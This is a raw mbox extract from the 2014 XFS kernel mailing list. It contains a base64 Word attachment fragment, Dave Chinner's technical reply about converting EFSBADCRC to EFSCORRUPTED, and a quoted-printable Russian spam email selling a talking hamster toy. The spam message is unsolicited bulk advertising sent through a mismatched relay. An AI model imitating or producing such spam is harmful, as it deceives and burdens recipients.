AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOAAIB/////wUAAAD/////AAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALwAAAPI+AAAAAAAAVwBvAHIAZABEAG8A YwB1AG0AZQBuAHQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABoAAgEB AAAA//////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA7V0AAAAA AAAFAFMAdQBtAG0AYQByAHkASQBuAGYAbwByAG0AYQB0AGkAbwBuAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAKAACAQIAAAAEAAAA/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAE8AAAAAEAAAAAAAAAUARABvAGMAdQBtAGUAbgB0AFMAdQBtAG0AYQByAHkASQBuAGYAbwBy AG0AYQB0AGkAbwBuAAAAAAAAAAAAAAA4AAIB////////////////AAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAVwAAAAAQAAAAAAAAAQBDAG8AbQBwAE8AYgBqAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAgD///////////////8AAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcgAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP// /////////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA////////////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAQAAAP7///////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////8BAP7/AwoAAP////8GCQIAAAAAAMAAAAAAAABGIAAAAMTu6vPs5e3yIE1p Y3Jvc29mdCBXb3JkIDk3LTIwMDMACgAAAE1TV29yZERvYwAQAAAAV29yZC5Eb2N1bWVudC44APQ5 snEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAA== ------=_NextPart_000_1A22_01CF3753.3EDBF710-- From david@fromorbit.com Mon Mar 3 22:32:52 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B10207F4E for ; Mon, 3 Mar 2014 22:32:52 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 85D15304032 for ; Mon, 3 Mar 2014 20:32:49 -0800 (PST) X-ASG-Debug-ID: 1393907567-04cb6c5676210780001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id HgoUavb7QyRTaUso for ; Mon, 03 Mar 2014 20:32:47 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AhNiAA1XFVN5LJYePGdsb2JhbABagwaDQ4UMs02FWYEbFwMBAQEBHxkNKIIlAQEBAwEnExwjEAgDDgcDCSUPBSUDBxoTh3EHzDwXFo5DB4Q4BJg7lW0o Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail05.adl6.internode.on.net with ESMTP; 04 Mar 2014 15:02:28 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WKh1l-0005kM-Ai; Tue, 04 Mar 2014 15:32:25 +1100 Date: Tue, 4 Mar 2014 15:32:25 +1100 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [PATCH 1/2] xfs: don't leak EFSBADCRC to userspace Message-ID: <20140304043225.GQ13647@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/2] xfs: don't leak EFSBADCRC to userspace References: <1393825194-1719-1-git-send-email-david@fromorbit.com> <1393825194-1719-2-git-send-email-david@fromorbit.com> <20140303174425.GB28196@laptop.bfoster> <20140303222946.GJ13647@dastard> <20140304012056.GA29755@laptop.bfoster> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140304012056.GA29755@laptop.bfoster> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1393907567 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145724 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Mar 03, 2014 at 08:20:57PM -0500, Brian Foster wrote: > On Tue, Mar 04, 2014 at 09:29:46AM +1100, Dave Chinner wrote: > > On Mon, Mar 03, 2014 at 12:44:26PM -0500, Brian Foster wrote: > > > On Mon, Mar 03, 2014 at 04:39:53PM +1100, Dave Chinner wrote: > > > > From: Dave Chinner > > > > > > > > While the verifier reoutines may return EFSBADCRC when a buffer ahs > > > > a bad CRC, we need to translate that to EFSCORRUPTED so that the > > > > higher layers treat the error appropriately and so we return a > > > > consistent error to userspace. This fixes a xfs/005 regression. > > > > > > > > Signed-off-by: Dave Chinner > > > > --- > > > > > > This change looks Ok to me, but when I start looking through the users > > > of bp->b_error, I see examples like xfs_dir3_data_read() being called in > > > xfs_dir2_leaf_addname() where it looks like an error could bubble all > > > the way up to xfs_vn_mknod() and its callers. > > > > Sure, but: > > > > xfs_dir3_data_read > > xfs_da_read_buf > > xfs_trans_read_buf_map > > > > Which means the patch prevents the EFSBADCRC leaking back out > > through that path because it converts it in xfs_trans_read_buf_map. > > > > Ok, I see. FWIW, I was also trolling through some of the log recovery > code and it appears that code uses b_ops for write verification purposes > only (i.e., crc generation I suspect), correct? Yes. > > > If the intent is to use EFSBADCRC as an internal-only error to > > > differentiate corruption from crc failure, why not push this more > > > closely to the boundaries that we have already defined? For example, we > > > already convert positive errnos to negative at the internal/external > > > boundaries. Could we convert those to use some kind of > > > XFS_USERSPACE_ERROR(error) macro/helper that converts errors > > > appropriately? > > > > That doesn't solve the problem needing an error conversion layer in > > the first place. The long term goal is to remove the error > > conversions in XFS by converting the core code to the same error > > passing conventions as the rest of the kernel code. We manage to > > screw the negation up fairly regularly because it is convoluted and > > we cal into generic code that returns negative errors from the core > > that returns positive errors in lots of places. The conversion > > surface is just too large to manage sanely. > > > > Well it wasn't clear that the error conversion layer was a problem that > itself needed solving, but fair enough. ;) If the objective is to move > away from the positive/negative business to something more "kernel > native," then building more infrastructure around that is probably not > the way to go, unless that was actually part of the changeover strategy > (e.g., if we happened to use something that conditionally negated error > values to support incremental codepath conversions... as a semi-random > thought). I'm not sure there's any real benefit to adding infrastructure when doing the conversion. It's a lot of little changes involving pushing the conversion down from the top layers, combined with converting interfaces (e.g. bmapi) as they get exposed. Some functions will be able to lose variables as the return becomes a tri-state value (e.g. the btree functions for looking up records); others will be able to use IS_ERR() for pointer returns, and so on. This will have a flow on effect on the code in the callers, and so it really comes down to spending the time to peel back each layer carefully. It's a lot of work, hence the "long term goal" aspect of it. We've been talking about doing this cleanup for several years now, but it hasn't yet been done because it's going to take hundreds of patches to do... ;) > > > Another thought could be to reconsider whether we still need some of > > > these extra warnings, as in the xfs_mount.c hunk below, now that we have > > > the generic xfs_verifier_error() messaging. E.g., if we could remove > > > those, perhaps we could snub out EFSBADCRC in or around the verifier > > > after it makes a distinction. > > > > Redundant errors aren't s significant problem. It's the lack of > > meaningful error messages that are much more of an issue. We get > > more meaningful error messages as a result of the EFSBADCRC changes > > that have been made, but for the moment that error simply means > > EFSCORRUPTED to the higher layers. Hence the translation back to > > EFSCORRUPTED at the (low) layers where the error no longer has > > a distinct meaning. > > > > Right, the purpose is not to solve the problem of redundant errors. > Rather, if the only thing preventing the consolidation of the EFSBADCRC > trap to a single hunk are redundant errors, then it wouldn't be a > problem to remove those errors and push the EFSBADCRC trap into the > generic code for the purpose of clarity. I don't see much point in trying to have a single trap for EFSBADCRC because the moment we want to handle one of those cases specially we are going to have to - as a first step - remove the single trap and push it outwards to all the places that need it like this patch does.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From mixsojo@mail.ru Mon Mar 3 22:33:47 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM, HTML_FONT_SIZE_LARGE,HTML_MESSAGE,T_TVD_MIME_EPI autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A81207F4E for ; Mon, 3 Mar 2014 22:33:46 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id D2C30AC007 for ; Mon, 3 Mar 2014 20:33:42 -0800 (PST) X-ASG-Debug-ID: 1393907618-04cb6c5678210830001-NocioJ Received: from mail.scg-tpe.com.tw (mail.scg-tpe.com.tw [220.130.64.169]) by cuda.sgi.com with ESMTP id Fas9skwyhNkJcHOL for ; Mon, 03 Mar 2014 20:33:39 -0800 (PST) X-Barracuda-Envelope-From: mixsojo@mail.ru X-Barracuda-Apparent-Source-IP: 220.130.64.169 Received: by mail.scg-tpe.com.tw (Postfix, from userid 98) id 3A3A23D045; Tue, 4 Mar 2014 12:33:41 +0800 (CST) Received: from Unknown (unknown [192.168.1.254]) by mail.scg-tpe.com.tw (Postfix) with ESMTPA id 91DF139026; Tue, 4 Mar 2014 12:33:02 +0800 (CST) Message-ID: <4609B89329894D79B80432FF21BD2E44@adtudk> Reply-To: "zjxac" From: "zjxac" To: "cl" Subject: =?utf-8?B?0JPQvtCy0L7RgNGP0YnQuNC5INGF0L7QvNGP0LogV29v?= =?utf-8?B?ZHkgTydUaW1l?= Date: Tue, 4 Mar 2014 10:32:04 +0500 X-ASG-Orig-Subj: =?utf-8?B?0JPQvtCy0L7RgNGP0YnQuNC5INGF0L7QvNGP0LogV29v?= =?utf-8?B?ZHkgTydUaW1l?= Organization: =?utf-8?B?0J7QntCewqvQn9GA0L7RhNC40YIt0JzCuw==?= MIME-Version: 1.0 Content-Type: multipart/related; type="multipart/alternative"; boundary="----=_NextPart_000_12C4_01CF3794.FC6E5390" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Live Mail 16.4.3505.912 X-MimeOLE: Produced By Microsoft MimeOLE V16.4.3505.912 X-Barracuda-Connect: mail.scg-tpe.com.tw[220.130.64.169] X-Barracuda-Start-Time: 1393907618 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.01 X-Barracuda-Spam-Status: No, SCORE=0.01 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC0_SA_TO_FROM_DOMAIN_MATCH, EXTRA_MPART_TYPE, HTML_FONT_SIZE_LARGE, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145724 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 EXTRA_MPART_TYPE Header has extraneous Content-type:...type= entry 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.00 HTML_FONT_SIZE_LARGE BODY: HTML font size is large 0.00 HTML_MESSAGE BODY: HTML included in message 0.01 BSF_SC0_SA_TO_FROM_DOMAIN_MATCH Sender Domain Matches Recipient Domain This is a multi-part message in MIME format. ------=_NextPart_000_12C4_01CF3794.FC6E5390 Content-Type: multipart/alternative; boundary="----=_NextPart_001_12C5_01CF3794.FC6E5390" ------=_NextPart_001_12C5_01CF3794.FC6E5390 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable =D0=97=D0=B4=D1=80=D0=B0=D0=B2=D1=81=D1=82=D0=B2=D1=83=D0=B9=D1=82= =D0=B5, =D0=A3=D0=B2=D0=B0=D0=B6=D0=B0=D0=B5=D0=BC=D1=8B=D0=B9 =D0=BF=D0=BE= =D0=BA=D1=83=D0=BF=D0=B0=D1=82=D0=B5=D0=BB=D1=8C. =D0=A7=D1=83=D0=B4=D0=B5=D1=81=D0=BD=D1=8B=D0=B9 =D1=85=D0=BE=D0=BC=D1=8F= =D1=87=D0=BE=D0=BA Woody O'Time =D0=BF=D0=BE=D0=B2=D1=82=D0=BE=D1=80=D1=8F= =D0=B5=D1=82 =D0=BD=D0=B5 =D1=82=D0=BE=D0=BB=D1=8C=D0=BA=D0=BE =D1=81=D0=BB= =D0=BE=D0=B2=D0=B0, =D0=BD=D0=BE =D0=B4=D0=B0=D0=B6=D0=B5 =D0=B2=D0=BE=D1= =81=D0=BF=D1=80=D0=BE=D0=B8=D0=B7=D0=B2=D0=BE=D0=B4=D0=B8=D1=82 =D0=B8=D0= =BD=D1=82=D0=BE=D0=BD=D0=B0=D1=86=D0=B8=D1=8E!=20 =D0=9E=D0=BD =D0=B3=D0=BE=D0=B2=D0=BE=D1=80=D0=B8=D1=82 =D0=B7=D0=B0=D0=B1= =D0=B0=D0=B2=D0=BD=D1=8B=D0=BC =C2=AB=D0=BC=D1=83=D0=BB=D1=8C=D1=82=D1=8F= =D1=88=D0=BD=D1=8B=D0=BC=C2=BB =D0=B3=D0=BE=D0=BB=D0=BE=D1=81=D0=BA=D0=BE= =D0=BC, =D0=BE=D1=82=D0=BA=D1=80=D1=8B=D0=B2=D0=B0=D1=8F =D1=80=D0=BE=D1=82= =D1=81=D0=BE=D0=BE=D1=82=D0=B2=D0=B5=D1=82=D1=81=D1=82=D0=B2=D0=B5=D0=BD= =D0=BD=D0=BE =D0=B7=D0=B2=D1=83=D0=BA=D0=B0=D0=BC.=20 =D0=9D=D0=B5=D0=BF=D0=BE=D0=B4=D1=80=D0=B0=D0=B6=D0=B0=D0=B5=D0=BC=D0=B0=D1= =8F =D0=B6=D0=B8=D0=B2=D0=B0=D1=8F =D0=BC=D0=B8=D0=BC=D0=B8=D0=BA=D0=B0 =D0= =B3=D0=BE=D0=B2=D0=BE=D1=80=D1=8F=D1=89=D0=B5=D0=B3=D0=BE =D1=85=D0=BE=D0= =BC=D1=8F=D0=BA=D0=B0 =D0=BF=D0=BE=D0=B4=D0=BD=D0=B8=D0=BC=D0=B0=D0=B5=D1= =82 =D0=BD=D0=B0=D1=81=D1=82=D1=80=D0=BE=D0=B5=D0=BD=D0=B8=D0=B5 =D0=B8 =D0= =B2=D1=81=D0=B5=D0=B3=D0=B4=D0=B0 =D0=B2=D1=8B=D0=B7=D1=8B=D0=B2=D0=B0=D0= =B5=D1=82 =D1=83=D0=BB=D1=8B=D0=B1=D0=BA=D1=83! =D0=9F=D1=80=D0=BE=D1=81=D1=82=D0=BE =D0=BD=D0=B0=D0=B6=D0=BC=D0=B8=D1=82= =D0=B5 =D0=BD=D0=B0 =D0=BB=D0=B0=D0=BF=D0=BA=D1=83 =D0=B8=D0=B3=D1=80=D1=83= =D1=88=D0=BA=D0=B8, =D1=87=D1=82=D0=BE=D0=B1=D1=8B =D0=B0=D0=BA=D1=82=D0=B8= =D0=B2=D0=B8=D0=B7=D0=B8=D1=80=D0=BE=D0=B2=D0=B0=D1=82=D1=8C =D0=B7=D0=B0= =D0=BF=D0=B8=D1=81=D1=8B=D0=B2=D0=B0=D1=8E=D1=89=D0=B5=D0=B5 =D1=83=D1=81= =D1=82=D1=80=D0=BE=D0=B9=D1=81=D1=82=D0=B2=D0=BE.=20 =D0=92 =D1=82=D0=B5=D1=87=D0=B5=D0=BD=D0=B8=D0=B5 6 =D1=81=D0=B5=D0=BA=D1= =83=D0=BD=D0=B4 =D1=85=D0=BE=D0=BC=D1=8F=D0=BA =D0=B1=D1=83=D0=B4=D0=B5=D1= =82 =D0=B7=D0=B0=D0=BF=D0=BE=D0=BC=D0=B8=D0=BD=D0=B0=D1=82=D1=8C =D0=B2=D0= =B0=D1=88=D1=83 =D1=80=D0=B5=D1=87=D1=8C, =D0=B0 =D0=BF=D0=BE=D1=82=D0=BE= =D0=BC =D0=B0=D0=B2=D1=82=D0=BE=D0=BC=D0=B0=D1=82=D0=B8=D1=87=D0=B5=D1=81= =D0=BA=D0=B8 =D0=B5=D0=B5 =D0=B2=D0=BE=D1=81=D0=BF=D1=80=D0=BE=D0=B8=D0=B7= =D0=B2=D0=B5=D0=B4=D0=B5=D1=82.=20 =D0=A2=D0=B0=D0=BA =D0=BC=D0=BE=D0=B6=D0=BD=D0=BE =D0=B8=D0=B3=D1=80=D0=B0= =D1=82=D1=8C =D0=B4=D0=BE =D0=B1=D0=B5=D1=81=D0=BA=D0=BE=D0=BD=D0=B5=D1=87= =D0=BD=D0=BE=D1=81=D1=82=D0=B8. =D0=97=D0=B0=D0=B1=D0=B0=D0=B2=D0=BD=D0=B0=D1=8F =D0=BC=D1=8F=D0=B3=D0=BA= =D0=B0=D1=8F =D0=B8=D0=B3=D1=80=D1=83=D1=88=D0=BA=D0=B0, =D0=BA=D0=BE=D1=82=D0=BE=D1=80=D0=B0=D1=8F =D1=83=D0=BC=D0=B5=D0=B5=D1=82 =D0=BF=D0=BE=D0=B2=D1=82=D0=BE=D1=80=D1=8F=D1=82=D1=8C =D1=81=D0=BB=D0=BE= =D0=B2=D0=B0 =D0=BD=D0=B0 =D0=BB=D1=8E=D0=B1=D0=BE=D0=BC =D1=8F=D0=B7=D1=8B= =D0=BA=D0=B5! =D0=97=D0=B0=D0=BA=D0=B0=D0=B6=D0=B8=D1=82=D0=B5 =D0=BF=D1=80=D1=8F=D0=BC= =D0=BE =D1=81=D0=B5=D0=B9=D1=87=D0=B0=D1=81 =D1=81=D0=BE =D1=81=D0=BA=D0=B8= =D0=B4=D0=BA=D0=BE=D0=B9 50 %! =D0=97=D0=B0=D0=BA=D0=B0=D0= =B7=D0=B0=D1=82=D1=8C =D0=9E=D1=81=D1=82=D0=B5=D1=80=D0=B5=D0=B3=D0=B0=D0=B9=D1=82=D0=B5=D1=81=D1= =8C =D0=B4=D0=B5=D1=88=D0=B5=D0=B2=D1=8B=D1=85 =D0=BF=D0=BE=D0=B4=D0=B4=D0= =B5=D0=BB=D0=BE=D0=BA! =D0=A1 =D0=BE=D0=B3=D1=80=D0=BE=D0=BC=D0=BD=D1=8B=D0=BC =D1=83=D0=B2=D0=B0= =D0=B6=D0=B5=D0=BD=D0=B8=D0=B5=D0=BC =D0=BA =D0=92=D0=B0=D0=BC, =D0=9E=D0= =9E=D0=9E "=D0=9F=D1=80=D0=BE=D1=84=D0=B8=D1=82-=D0=9C". =D0=95=D1=81=D0=BB=D0=B8 =D0=92=D1=8B =D1=85=D0=BE=D1=82=D0=B8=D1=82=D0=B5= =D0=BE=D1=82=D0=BF=D0=B8=D1=81=D0=B0=D1=82=D1=8C=D1=81=D1=8F =D0=BE=D1=82= =D1=80=D0=B0=D1=81=D1=81=D1=8B=D0=BB=D0=BA=D0=B8, =D0=BF=D0=B5=D1=80=D0=B5= =D0=B9=D0=B4=D0=B8=D1=82=D0=B5 =D0=BF=D0=BE =D1=81=D1=81=D1=8B=D0=BB=D0=BA= =D0=B5=20 =D0=9E=D1=82=D0=BF=D0=B8=D1=81=D0=B0=D1=82=D1=8C=D1=81=D1=8F =D0=BE=D1=82= =D1=80=D0=B0=D1=81=D1=81=D1=8B=D0=BB=D0=BA=D0=B8. ------=_NextPart_001_12C5_01CF3794.FC6E5390 Content-Type: text/html; charset="utf-8" Content-Transfer-Encoding: quoted-printable
         =D0=97=D0= =B4=D1=80=D0=B0=D0=B2=D1=81=D1=82=D0=B2=D1=83=D0=B9=D1=82=D0=B5,=20 =D0=A3=D0=B2=D0=B0=D0=B6=D0=B0=D0=B5=D0=BC=D1=8B=D0=B9 =D0=BF=D0=BE=D0=BA= =D1=83=D0=BF=D0=B0=D1=82=D0=B5=D0=BB=D1=8C.
=D0=A7=D1=83=D0=B4=D0=B5=D1=81=D0=BD=D1=8B=D0=B9 =D1= =85=D0=BE=D0=BC=D1=8F=D1=87=D0=BE=D0=BA Woody O'Time =D0=BF=D0=BE=D0=B2=D1= =82=D0=BE=D1=80=D1=8F=D0=B5=D1=82 =D0=BD=D0=B5 =D1=82=D0=BE=D0=BB=D1=8C=D0= =BA=D0=BE =D1=81=D0=BB=D0=BE=D0=B2=D0=B0, =D0=BD=D0=BE=20 =D0=B4=D0=B0=D0=B6=D0=B5 =D0=B2=D0=BE=D1=81=D0=BF=D1=80=D0=BE=D0=B8=D0=B7= =D0=B2=D0=BE=D0=B4=D0=B8=D1=82 =D0=B8=D0=BD=D1=82=D0=BE=D0=BD=D0=B0=D1=86= =D0=B8=D1=8E!
=D0=9E=D0=BD =D0=B3=D0=BE=D0=B2=D0=BE=D1=80=D0=B8=D1= =82 =D0=B7=D0=B0=D0=B1=D0=B0=D0=B2=D0=BD=D1=8B=D0=BC =C2=AB=D0=BC=D1=83=D0= =BB=D1=8C=D1=82=D1=8F=D1=88=D0=BD=D1=8B=D0=BC=C2=BB =D0=B3=D0=BE=D0=BB=D0= =BE=D1=81=D0=BA=D0=BE=D0=BC, =D0=BE=D1=82=D0=BA=D1=80=D1=8B=D0=B2=D0=B0=D1= =8F =D1=80=D0=BE=D1=82=20 =D1=81=D0=BE=D0=BE=D1=82=D0=B2=D0=B5=D1=82=D1=81=D1=82=D0=B2=D0=B5=D0=BD=D0= =BD=D0=BE =D0=B7=D0=B2=D1=83=D0=BA=D0=B0=D0=BC. =D0=9D=D0=B5=D0=BF=D0=BE=D0=B4=D1=80=D0=B0=D0=B6=D0= =B0=D0=B5=D0=BC=D0=B0=D1=8F =D0=B6=D0=B8=D0=B2=D0=B0=D1=8F =D0=BC=D0=B8=D0= =BC=D0=B8=D0=BA=D0=B0 =D0=B3=D0=BE=D0=B2=D0=BE=D1=80=D1=8F=D1=89=D0=B5=D0= =B3=D0=BE =D1=85=D0=BE=D0=BC=D1=8F=D0=BA=D0=B0 =D0=BF=D0=BE=D0=B4=D0=BD=D0= =B8=D0=BC=D0=B0=D0=B5=D1=82=20 =D0=BD=D0=B0=D1=81=D1=82=D1=80=D0=BE=D0=B5=D0=BD=D0=B8=D0=B5 =D0=B8 =D0=B2= =D1=81=D0=B5=D0=B3=D0=B4=D0=B0 =D0=B2=D1=8B=D0=B7=D1=8B=D0=B2=D0=B0=D0=B5= =D1=82 =D1=83=D0=BB=D1=8B=D0=B1=D0=BA=D1=83! =D0=9F=D1=80=D0=BE=D1=81=D1=82=D0=BE =D0=BD=D0=B0=D0= =B6=D0=BC=D0=B8=D1=82=D0=B5 =D0=BD=D0=B0 =D0=BB=D0=B0=D0=BF=D0=BA=D1=83 =D0= =B8=D0=B3=D1=80=D1=83=D1=88=D0=BA=D0=B8, =D1=87=D1=82=D0=BE=D0=B1=D1=8B =D0= =B0=D0=BA=D1=82=D0=B8=D0=B2=D0=B8=D0=B7=D0=B8=D1=80=D0=BE=D0=B2=D0=B0=D1=82= =D1=8C=20 =D0=B7=D0=B0=D0=BF=D0=B8=D1=81=D1=8B=D0=B2=D0=B0=D1=8E=D1=89=D0=B5=D0=B5 = =D1=83=D1=81=D1=82=D1=80=D0=BE=D0=B9=D1=81=D1=82=D0=B2=D0=BE. =D0=92 =D1=82=D0=B5=D1=87=D0=B5=D0=BD=D0=B8=D0=B5 = 6 =D1=81=D0=B5=D0=BA=D1=83=D0=BD=D0=B4 =D1=85=D0=BE=D0=BC=D1=8F=D0=BA =D0= =B1=D1=83=D0=B4=D0=B5=D1=82 =D0=B7=D0=B0=D0=BF=D0=BE=D0=BC=D0=B8=D0=BD=D0= =B0=D1=82=D1=8C =D0=B2=D0=B0=D1=88=D1=83 =D1=80=D0=B5=D1=87=D1=8C, =D0=B0= =D0=BF=D0=BE=D1=82=D0=BE=D0=BC=20 =D0=B0=D0=B2=D1=82=D0=BE=D0=BC=D0=B0=D1=82=D0=B8=D1=87=D0=B5=D1=81=D0=BA=D0= =B8 =D0=B5=D0=B5 =D0=B2=D0=BE=D1=81=D0=BF=D1=80=D0=BE=D0=B8=D0=B7=D0=B2=D0= =B5=D0=B4=D0=B5=D1=82. =D0=A2=D0=B0=D0=BA =D0=BC=D0=BE=D0=B6=D0=BD=D0=BE = =D0=B8=D0=B3=D1=80=D0=B0=D1=82=D1=8C =D0=B4=D0=BE =D0=B1=D0=B5=D1=81=D0=BA= =D0=BE=D0=BD=D0=B5=D1=87=D0=BD=D0=BE=D1=81=D1=82=D0=B8.
=D0=97=D0=B0=D0=B1=D0=B0=D0=B2=D0=BD=D0=B0= =D1=8F =D0=BC=D1=8F=D0=B3=D0=BA=D0=B0=D1=8F=20 =D0=B8=D0=B3=D1=80=D1=83=D1=88=D0=BA=D0=B0,
 
=D0=BA=D0=BE=D1=82=D0=BE=D1=80=D0=B0=D1=8F= =D1=83=D0=BC=D0=B5=D0=B5=D1=82
 
=D0=BF=D0=BE=D0=B2=D1=82=D0=BE=D1=80=D1=8F= =D1=82=D1=8C =D1=81=D0=BB=D0=BE=D0=B2=D0=B0 =D0=BD=D0=B0 =D0=BB=D1=8E=D0=B1= =D0=BE=D0=BC=20 =D1=8F=D0=B7=D1=8B=D0=BA=D0=B5!
 
 
3D""
=D0=97=D0=B0=D0=BA=D0=B0=D0=B6=D0=B8=D1=82=D0=B5 =D0=BF= =D1=80=D1=8F=D0=BC=D0=BE =D1=81=D0=B5=D0=B9=D1=87=D0=B0=D1=81 =D1=81=D0=BE= =D1=81=D0=BA=D0=B8=D0=B4=D0=BA=D0=BE=D0=B9 50 %!
           &n= bsp;           &nb= sp;           &nbs= p;          =20 <= FONT size=3D6>=D0=97=D0=B0=D0=BA=D0=B0=D0=B7=D0=B0=D1=82=D1=8C=
=D0=9E=D1=81=D1=82=D0=B5=D1=80= =D0=B5=D0=B3=D0=B0=D0=B9=D1=82=D0=B5=D1=81=D1=8C =D0=B4=D0=B5=D1=88=D0=B5= =D0=B2=D1=8B=D1=85=20 =D0=BF=D0=BE=D0=B4=D0=B4=D0=B5=D0=BB=D0=BE=D0=BA!
=D0=A1 =D0=BE=D0=B3=D1=80=D0=BE=D0=BC=D0=BD=D1=8B=D0=BC=  =D1=83=D0=B2=D0=B0=D0=B6=D0=B5=D0=BD=D0=B8=D0=B5=D0=BC =D0=BA =D0=92= =D0=B0=D0=BC, =D0=9E=D0=9E=D0=9E "=D0=9F=D1=80=D0=BE=D1=84=D0=B8=D1=82-=D0= =9C".
=D0=95=D1=81=D0=BB=D0=B8 =D0=92=D1=8B =D1=85=D0=BE=D1= =82=D0=B8=D1=82=D0=B5 =D0=BE=D1=82=D0=BF=D0=B8=D1=81=D0=B0=D1=82=D1=8C=D1= =81=D1=8F =D0=BE=D1=82 =D1=80=D0=B0=D1=81=D1=81=D1=8B=D0=BB=D0=BA=D0=B8,&= nbsp;=D0=BF=D0=B5=D1=80=D0=B5=D0=B9=D0=B4=D0=B8=D1=82=D0=B5 =D0=BF=D0=BE=20  =D1=81=D1=81=D1=8B=D0=BB=D0=BA=D0=B5
